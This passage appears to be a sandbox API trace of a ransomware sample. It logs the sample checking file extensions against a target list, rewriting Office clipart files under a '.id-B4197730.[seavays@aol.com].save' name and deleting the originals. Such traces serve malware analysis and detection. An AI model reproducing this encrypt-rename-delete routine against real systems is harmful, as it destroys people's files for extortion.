(lpString=".pdf") returned 4 [0062.377] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.377] lstrlenW (lpString=".xls") returned 4 [0062.377] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.377] lstrlenW (lpString=".xlsx") returned 5 [0062.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.377] lstrlenW (lpString=".ppt") returned 4 [0062.377] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.377] lstrlenW (lpString=".zip") returned 4 [0062.377] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.377] lstrlenW (lpString=".rar") returned 4 [0062.377] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.377] lstrlenW (lpString=".bz2") returned 4 [0062.377] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.377] lstrlenW (lpString=".7z") returned 3 [0062.377] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.377] lstrlenW (lpString=".dbf") returned 4 [0062.377] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.377] lstrlenW (lpString=".1cd") returned 4 [0062.377] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.378] lstrlenW (lpString=".jpg") returned 4 [0062.378] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.378] lstrlenW (lpString=".doc") returned 4 [0062.378] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.378] lstrlenW (lpString=".docx") returned 5 [0062.378] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.378] lstrlenW (lpString=".pdf") returned 4 [0062.378] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.378] lstrlenW (lpString=".xls") returned 4 [0062.378] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.378] lstrlenW (lpString=".xlsx") returned 5 [0062.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.378] lstrlenW (lpString=".ppt") returned 4 [0062.378] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.378] lstrlenW (lpString=".zip") returned 4 [0062.378] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.378] lstrlenW (lpString=".rar") returned 4 [0062.378] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.378] lstrlenW (lpString=".bz2") returned 4 [0062.378] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.378] lstrlenW (lpString=".7z") returned 3 [0062.378] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.378] lstrlenW (lpString=".dbf") returned 4 [0062.378] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.378] lstrlenW (lpString=".1cd") returned 4 [0062.378] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.379] lstrlenW (lpString=".jpg") returned 4 [0062.379] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.379] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0062.379] lstrlenW (lpString="AG00165_.GIF") returned 12 [0062.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.380] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=8582) returned 1 [0062.380] CloseHandle (hObject=0x2ec) returned 1 [0062.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 0x220 [0062.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.380] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.380] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.381] GetLastError () returned 0x0 [0062.381] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x2186, lpOverlapped=0x0) returned 1 [0062.382] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x2190, lpOverlapped=0x0) returned 1 [0062.383] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.383] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0062.383] SetEndOfFile (hFile=0x38c) returned 1 [0062.383] CloseHandle (hObject=0x38c) returned 1 [0062.385] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.385] SetEndOfFile (hFile=0x2ec) returned 1 [0062.386] CloseHandle (hObject=0x2ec) returned 1 [0062.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0062.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.386] lstrlenW (lpString=".doc") returned 4 [0062.386] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.386] lstrlenW (lpString=".docx") returned 5 [0062.386] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.386] lstrlenW (lpString=".pdf") returned 4 [0062.386] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.386] lstrlenW (lpString=".xls") returned 4 [0062.387] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.387] lstrlenW (lpString=".xlsx") returned 5 [0062.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.387] lstrlenW (lpString=".ppt") returned 4 [0062.387] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.387] lstrlenW (lpString=".zip") returned 4 [0062.387] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.387] lstrlenW (lpString=".rar") returned 4 [0062.387] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.387] lstrlenW (lpString=".bz2") returned 4 [0062.387] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.387] lstrlenW (lpString=".7z") returned 3 [0062.387] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.387] lstrlenW (lpString=".dbf") returned 4 [0062.387] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.387] lstrlenW (lpString=".1cd") returned 4 [0062.387] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.387] lstrlenW (lpString=".jpg") returned 4 [0062.387] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.387] lstrlenW (lpString=".doc") returned 4 [0062.387] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.387] lstrlenW (lpString=".docx") returned 5 [0062.387] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.387] lstrlenW (lpString=".pdf") returned 4 [0062.388] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.388] lstrlenW (lpString=".xls") returned 4 [0062.388] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.388] lstrlenW (lpString=".xlsx") returned 5 [0062.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.388] lstrlenW (lpString=".ppt") returned 4 [0062.388] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.388] lstrlenW (lpString=".zip") returned 4 [0062.388] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.388] lstrlenW (lpString=".rar") returned 4 [0062.388] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.388] lstrlenW (lpString=".bz2") returned 4 [0062.388] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.388] lstrlenW (lpString=".7z") returned 3 [0062.388] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.388] lstrlenW (lpString=".dbf") returned 4 [0062.388] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.388] lstrlenW (lpString=".1cd") returned 4 [0062.388] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0062.388] lstrlenW (lpString=".jpg") returned 4 [0062.388] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.388] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0062.388] lstrlenW (lpString="AG00167_.GIF") returned 12 [0062.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.389] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=4894) returned 1 [0062.389] CloseHandle (hObject=0x2ec) returned 1 [0062.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0062.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.389] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.389] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.390] GetLastError () returned 0x0 [0062.390] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x131e, lpOverlapped=0x0) returned 1 [0062.907] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1320, lpOverlapped=0x0) returned 1 [0062.908] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.908] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0062.908] SetEndOfFile (hFile=0x38c) returned 1 [0062.908] CloseHandle (hObject=0x38c) returned 1 [0062.909] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.909] SetEndOfFile (hFile=0x2ec) returned 1 [0062.910] CloseHandle (hObject=0x2ec) returned 1 [0062.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0062.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.911] lstrlenW (lpString=".doc") returned 4 [0062.911] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.911] lstrlenW (lpString=".docx") returned 5 [0062.911] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.911] lstrlenW (lpString=".pdf") returned 4 [0062.911] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.911] lstrlenW (lpString=".xls") returned 4 [0062.911] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.911] lstrlenW (lpString=".xlsx") returned 5 [0062.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.911] lstrlenW (lpString=".ppt") returned 4 [0062.911] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.911] lstrlenW (lpString=".zip") returned 4 [0062.911] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.911] lstrlenW (lpString=".rar") returned 4 [0062.912] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.912] lstrlenW (lpString=".bz2") returned 4 [0062.912] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.912] lstrlenW (lpString=".7z") returned 3 [0062.912] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.912] lstrlenW (lpString=".dbf") returned 4 [0062.912] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.912] lstrlenW (lpString=".1cd") returned 4 [0062.912] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.912] lstrlenW (lpString=".jpg") returned 4 [0062.912] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.912] lstrlenW (lpString=".doc") returned 4 [0062.912] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.912] lstrlenW (lpString=".docx") returned 5 [0062.912] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.912] lstrlenW (lpString=".pdf") returned 4 [0062.912] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.912] lstrlenW (lpString=".xls") returned 4 [0062.912] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.912] lstrlenW (lpString=".xlsx") returned 5 [0062.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.912] lstrlenW (lpString=".ppt") returned 4 [0062.912] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.912] lstrlenW (lpString=".zip") returned 4 [0062.912] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.912] lstrlenW (lpString=".rar") returned 4 [0062.912] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.913] lstrlenW (lpString=".bz2") returned 4 [0062.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.913] lstrlenW (lpString=".7z") returned 3 [0062.913] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.913] lstrlenW (lpString=".dbf") returned 4 [0062.913] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.913] lstrlenW (lpString=".1cd") returned 4 [0062.913] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0062.913] lstrlenW (lpString=".jpg") returned 4 [0062.913] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.913] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0062.913] lstrlenW (lpString="AN00015_.WMF") returned 12 [0062.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.913] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=4734) returned 1 [0062.914] CloseHandle (hObject=0x2ec) returned 1 [0062.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0062.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.914] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.914] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.915] GetLastError () returned 0x0 [0062.915] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x127e, lpOverlapped=0x0) returned 1 [0062.916] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1280, lpOverlapped=0x0) returned 1 [0062.918] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.918] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0062.918] SetEndOfFile (hFile=0x38c) returned 1 [0062.918] CloseHandle (hObject=0x38c) returned 1 [0062.919] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.919] SetEndOfFile (hFile=0x2ec) returned 1 [0062.920] CloseHandle (hObject=0x2ec) returned 1 [0062.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0062.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0062.920] lstrlenW (lpString=".doc") returned 4 [0062.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0062.921] lstrlenW (lpString=".docx") returned 5 [0062.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0062.921] lstrlenW (lpString=".pdf") returned 4 [0062.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0062.921] lstrlenW (lpString=".xls") returned 4 [0062.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0062.921] lstrlenW (lpString=".xlsx") returned 5 [0062.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0062.921] lstrlenW (lpString=".ppt") returned 4 [0062.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0062.921] lstrlenW (lpString="C:\\Program Files\\Microsoft 